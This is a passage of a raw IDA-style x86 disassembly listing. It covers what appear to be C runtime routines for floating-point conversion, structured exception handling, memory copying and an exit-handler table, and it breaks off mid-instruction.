pop ecx pop ecx fnstsw ax sahf jnz short loc_41C722 loc_41C714: ; CODE XREF: sub_41C679+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C722: ; CODE XREF: sub_41C679+99j test bl, 20h jnz short loc_41C714 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_41C73C: ; CODE XREF: sub_41C679+84j call sub_421014 add esp, 1Ch loc_41C744: ; CODE XREF: sub_41C679+59j ; sub_41C679+67j ... pop esi pop ebx leave retn sub_41C679 endp ; =============== S U B R O U T I N E ======================================= sub_41C748 proc near ; CODE XREF: ___:0041B78Dp ; sub_4218B2+21p ; DATA XREF: ... call sub_41C760 call sub_4218B2 mov dword_4DB2CC, eax call sub_421862 fnclex retn sub_41C748 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41C760 proc near ; CODE XREF: sub_41C748p mov eax, offset sub_421CA0 mov off_43C8A4, offset sub_421935 mov off_43C8A0, eax mov off_43C8A8, offset sub_42199B mov off_43C8AC, offset sub_4218DB mov off_43C8B0, offset sub_421983 mov off_43C8B4, eax retn sub_41C760 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C798 proc near ; CODE XREF: sub_40D030+1Bp ; sub_40D030+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41C798 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C7BF(double) sub_41C7BF proc near ; CODE XREF: sub_40D07C+82p ; ___:0040DD3Cp var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A2A8 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C845 call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C828 cmp eax, 2 jle short loc_41C81A cmp eax, 3 jnz short loc_41C828 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_420FC1 add esp, 10h jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C81A: ; CODE XREF: sub_41C7BF+3Fj push esi push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C828: ; CODE XREF: sub_41C7BF+3Aj ; sub_41C7BF+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41C882 ; --------------------------------------------------------------------------- loc_41C845: ; CODE XREF: sub_41C7BF+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C868 loc_41C85A: ; CODE XREF: sub_41C7BF+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C868: ; CODE XREF: sub_41C7BF+99j test bl, 20h jnz short loc_41C85A fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41C882: ; CODE XREF: sub_41C7BF+84j call sub_421014 add esp, 1Ch loc_41C88A: ; CODE XREF: sub_41C7BF+59j ; sub_41C7BF+67j ... pop esi pop ebx leave retn sub_41C7BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C88E proc near ; CODE XREF: ___:00422182p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41C88E endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41C8C2 proc near ; CODE XREF: sub_4222C2+199p ; sub_422486+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41C8C9 proc near ; CODE XREF: sub_4222C2+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41C8D0 proc near ; CODE XREF: sub_41CA82+5Cp ; sub_422111:loc_422142p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41C8F8 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_42675C sub_41C8D0 endp ; --------------------------------------------------------------------------- loc_41C8F8: ; DATA XREF: sub_41C8D0+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_41C91F: ; CODE XREF: ___:00426DFCj ; ___:00426E19j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_421D16 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C955 proc near ; CODE XREF: sub_42218C+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41C9A9 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_422510 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41C955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9A9 proc near ; DATA XREF: sub_41C955+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h pop ebp retn sub_41C9A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9CE proc near ; CODE XREF: sub_421F58+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41CA82 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41CA54 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4DB324 pop ecx pop ecx and [ebp+var_34], 0 loc_41CA54: ; DATA XREF: sub_41C9CE+3Co cmp [ebp+var_4], 0 jz short loc_41CA71 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41CA7A ; --------------------------------------------------------------------------- loc_41CA71: ; CODE XREF: sub_41C9CE+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41CA7A: ; CODE XREF: sub_41C9CE+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41C9CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CA82 proc near ; DATA XREF: sub_41C9CE+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_41CAA5 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41CAF2 ; --------------------------------------------------------------------------- loc_41CAA5: ; CODE XREF: sub_41CA82+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41CAE3 push [ebp+arg_0] push [ebp+arg_4] call sub_41C8D0 ; --------------------------------------------------------------------------- loc_41CAE3: ; CODE XREF: sub_41CA82+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41CAF2: ; CODE XREF: sub_41CA82+21j pop edi pop esi pop ebx pop ebp retn sub_41CA82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAF7 proc near ; CODE XREF: sub_421DB1+C6p ; sub_421F58+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41CB4E loc_41CB15: ; CODE XREF: sub_41CAF7+52j cmp esi, 0FFFFFFFFh jnz short loc_41CB1F call sub_4225B2 loc_41CB1F: ; CODE XREF: sub_41CAF7+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_41CB34 cmp ecx, [eax+8] jle short loc_41CB39 loc_41CB34: ; CODE XREF: sub_41CAF7+36j cmp esi, 0FFFFFFFFh jnz short loc_41CB45 loc_41CB39: ; CODE XREF: sub_41CAF7+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41CB45: ; CODE XREF: sub_41CAF7+40j cmp [ebp+arg_4], 0 jge short loc_41CB15 mov eax, [ebp+var_4] loc_41CB4E: ; CODE XREF: sub_41CAF7+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41CB62 cmp esi, eax jbe short loc_41CB67 loc_41CB62: ; CODE XREF: sub_41CAF7+65j call sub_4225B2 loc_41CB67: ; CODE XREF: sub_41CAF7+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41CAF7 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41CB74 proc near ; CODE XREF: sub_4234B8+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_41CB8C push [ebp+arg_0] call sub_42675C sub_41CB74 endp ; =============== S U B R O U T I N E ======================================= sub_41CB8C proc near ; DATA XREF: sub_41CB74+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41CB8C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CB94 proc near ; DATA XREF: sub_41CBB6+Ao ; sub_41CC1E+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41CBB5 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41CBB5: ; CODE XREF: sub_41CB94+10j retn sub_41CB94 endp ; =============== S U B R O U T I N E ======================================= sub_41CBB6 proc near ; CODE XREF: sub_422232+Dp ; sub_4234B8+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41CB94 push large dword ptr fs:0 mov large fs:0, esp loc_41CBD3: ; CODE XREF: sub_41CBB6:loc_41CC0Ej mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41CC10 cmp esi, [esp+1Ch+arg_4] jz short loc_41CC10 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41CC0E push 101h mov eax, [ebx+esi*4+8] call sub_41CC4A call dword ptr [ebx+esi*4+8] loc_41CC0E: ; CODE XREF: sub_41CBB6+44j jmp short loc_41CBD3 ; --------------------------------------------------------------------------- loc_41CC10: ; CODE XREF: sub_41CBB6+2Aj ; sub_41CBB6+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41CBB6 endp ; =============== S U B R O U T I N E ======================================= sub_41CC1E proc near ; CODE XREF: sub_422252+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41CB94 jnz short locret_41CC40 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41CC40 mov eax, 1 locret_41CC40: ; CODE XREF: sub_41CC1E+10j ; sub_41CC1E+1Bj retn sub_41CC1E endp ; =============== S U B R O U T I N E ======================================= sub_41CC41 proc near ; CODE XREF: sub_422510+1Ep ; sub_422510+40p push ebx push ecx mov ebx, offset dword_43A2AC jmp short loc_41CC54 sub_41CC41 endp ; =============== S U B R O U T I N E ======================================= sub_41CC4A proc near ; CODE XREF: sub_41CBB6+4Fp ; sub_4234B8+78p push ebx push ecx mov ebx, offset dword_43A2AC mov ecx, [ebp+8] loc_41CC54: ; CODE XREF: sub_41CC41+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41CC4A endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_41CC64 proc near ; CODE XREF: sub_40D07C+5p ; sub_40D21E+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41CC64 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CC83 proc near ; CODE XREF: sub_40D6B3+26p ; ___:004264F2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B0B1 pop ecx retn sub_41CC83 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC90 proc near ; CODE XREF: sub_40D724+3Ap ; sub_41DEA2+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41CCB0 cmp edi, eax jb loc_41CE28 loc_41CCB0: ; CODE XREF: sub_41CC90+16j test edi, 3 jnz short loc_41CCCC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- loc_41CCCC: ; CODE XREF: sub_41CC90+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41CCE4 and eax, 3 add ecx, eax jmp dword ptr loc_41CCEC+4[eax*4] ; --------------------------------------------------------------------------- loc_41CCE4: ; CODE XREF: sub_41CC90+46j jmp dword ptr loc_41CDE8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CCEC: ; CODE XREF: sub_41CC90+31j ; sub_41CC90+8Ej ... jmp off_41CD6C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_41CD00 dd offset loc_41CD2C dd offset loc_41CD50 ; --------------------------------------------------------------------------- loc_41CD00: ; DATA XREF: sub_41CC90+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CD2C: ; DATA XREF: sub_41CC90+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CD50: ; DATA XREF: sub_41CC90+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CD6C dd offset loc_41CDCF ; DATA XREF: sub_41CC90:loc_41CCECr dd offset loc_41CDBC dd offset loc_41CDB4 dd offset loc_41CDAC dd offset loc_41CDA4 dd offset loc_41CD9C dd offset loc_41CD94 dd offset loc_41CD8C ; --------------------------------------------------------------------------- loc_41CD8C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41CD94: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41CD9C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41CDA4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41CDAC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41CDB4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41CDBC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CDCF: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90:off_41CD6Co jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CDD8 dd offset loc_41CDE8 ; DATA XREF: sub_41CC90+35r ; sub_41CC90+92r ... dd offset loc_41CDF0 dd offset loc_41CDFC dd offset loc_41CE10 ; --------------------------------------------------------------------------- loc_41CDE8: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CDF0: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CDFC: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CE10: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CE28: ; CODE XREF: sub_41CC90+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41CE5C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CE50: ; CODE XREF: sub_41CC90+1B1j ; sub_41CC90+208j ... neg ecx jmp off_41CF20[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CE5C: ; CODE XREF: sub_41CC90+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41CE74 and eax, 3 sub ecx, eax jmp dword ptr loc_41CE74+4[eax*4] ; --------------------------------------------------------------------------- loc_41CE74: ; CODE XREF: sub_41CC90+1D6j ; DATA XREF: sub_41CC90+1DDr jmp off_41CF70[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CE87+1 dd offset loc_41CEA8 ; --------------------------------------------------------------------------- ror dh, 1 inc ecx loc_41CE87: ; DATA XREF: sub_41CC90+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CEA8: ; DATA XREF: sub_41CC90+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CF24 dd offset loc_41CF2C dd offset loc_41CF34 dd offset loc_41CF3C dd offset loc_41CF44 dd offset loc_41CF4C dd offset loc_41CF54 off_41CF20 dd offset loc_41CF67 ; DATA XREF: sub_41CC90+1C2r ; --------------------------------------------------------------------------- loc_41CF24: ; DATA XREF: sub_41CC90+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41CF2C: ; DATA XREF: sub_41CC90+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41CF34: ; DATA XREF: sub_41CC90+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41CF3C: ; DATA XREF: sub_41CC90+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41CF44: ; DATA XREF: sub_41CC90+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41CF4C: ; DATA XREF: sub_41CC90+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41CF54: ; DATA XREF: sub_41CC90+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CF67: ; CODE XREF: sub_41CC90+1C2j ; DATA XREF: sub_41CC90:off_41CF20o jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h off_41CF70 dd offset loc_41CF80 ; DATA XREF: sub_41CC90+1B7r ; sub_41CC90:loc_41CE74r ... dd offset loc_41CF88 dd offset loc_41CF98 dd offset loc_41CFAC ; --------------------------------------------------------------------------- loc_41CF80: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF88: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF98: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CFAC: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41CC90 endp ; =============== S U B R O U T I N E ======================================= sub_41CFC5 proc near ; CODE XREF: sub_40D78B+34p ; sub_40D78B+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41CFC5 endp ; =============== S U B R O U T I N E ======================================= sub_41CFD3 proc near ; CODE XREF: sub_41D040+4p arg_0 = dword ptr 4 push esi push dword_4DC91C call sub_422608 mov edx, dword_4DC91C pop ecx mov ecx, dword_4DC918 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_41D032 push edx call sub_422608 add eax, 10h push eax push dword_4DC91C call sub_41B202 add esp, 0Ch test eax, eax jnz short loc_41D015 retn ; --------------------------------------------------------------------------- loc_41D015: ; CODE XREF: sub_41CFD3+3Fj mov ecx, dword_4DC918 sub ecx, dword_4DC91C mov dword_4DC91C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4DC918, ecx loc_41D032: ; CODE XREF: sub_41CFD3+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4DC918, 4 retn sub_41CFD3 endp ; =============== S U B R O U T I N E ======================================= sub_41D040 proc near ; CODE XREF: sub_40D878+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_41CFD3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_41D040 endp ; =============== S U B R O U T I N E ======================================= sub_41D052 proc near ; DATA XREF: ___:0042901Co push 80h call sub_41B4D5 test eax, eax pop ecx mov dword_4DC91C, eax jnz short loc_41D073 push 18h call sub_41DA29 mov eax, dword_4DC91C pop ecx loc_41D073: ; CODE XREF: sub_41D052+12j and dword ptr [eax], 0 mov eax, dword_4DC91C mov dword_4DC918, eax retn sub_41D052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D081 proc near ; CODE XREF: ___:0040DB4Bp var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax nop call near ptr 27704B0h lea eax, [ebp+var_20] push eax nop call near ptr 2860000h mov ax, [ebp+var_16] cmp ax, word_4DB2E2 jnz short loc_41D0E6 mov ax, [ebp+var_18] cmp ax, word_4DB2E0 jnz short loc_41D0E6 mov ax, 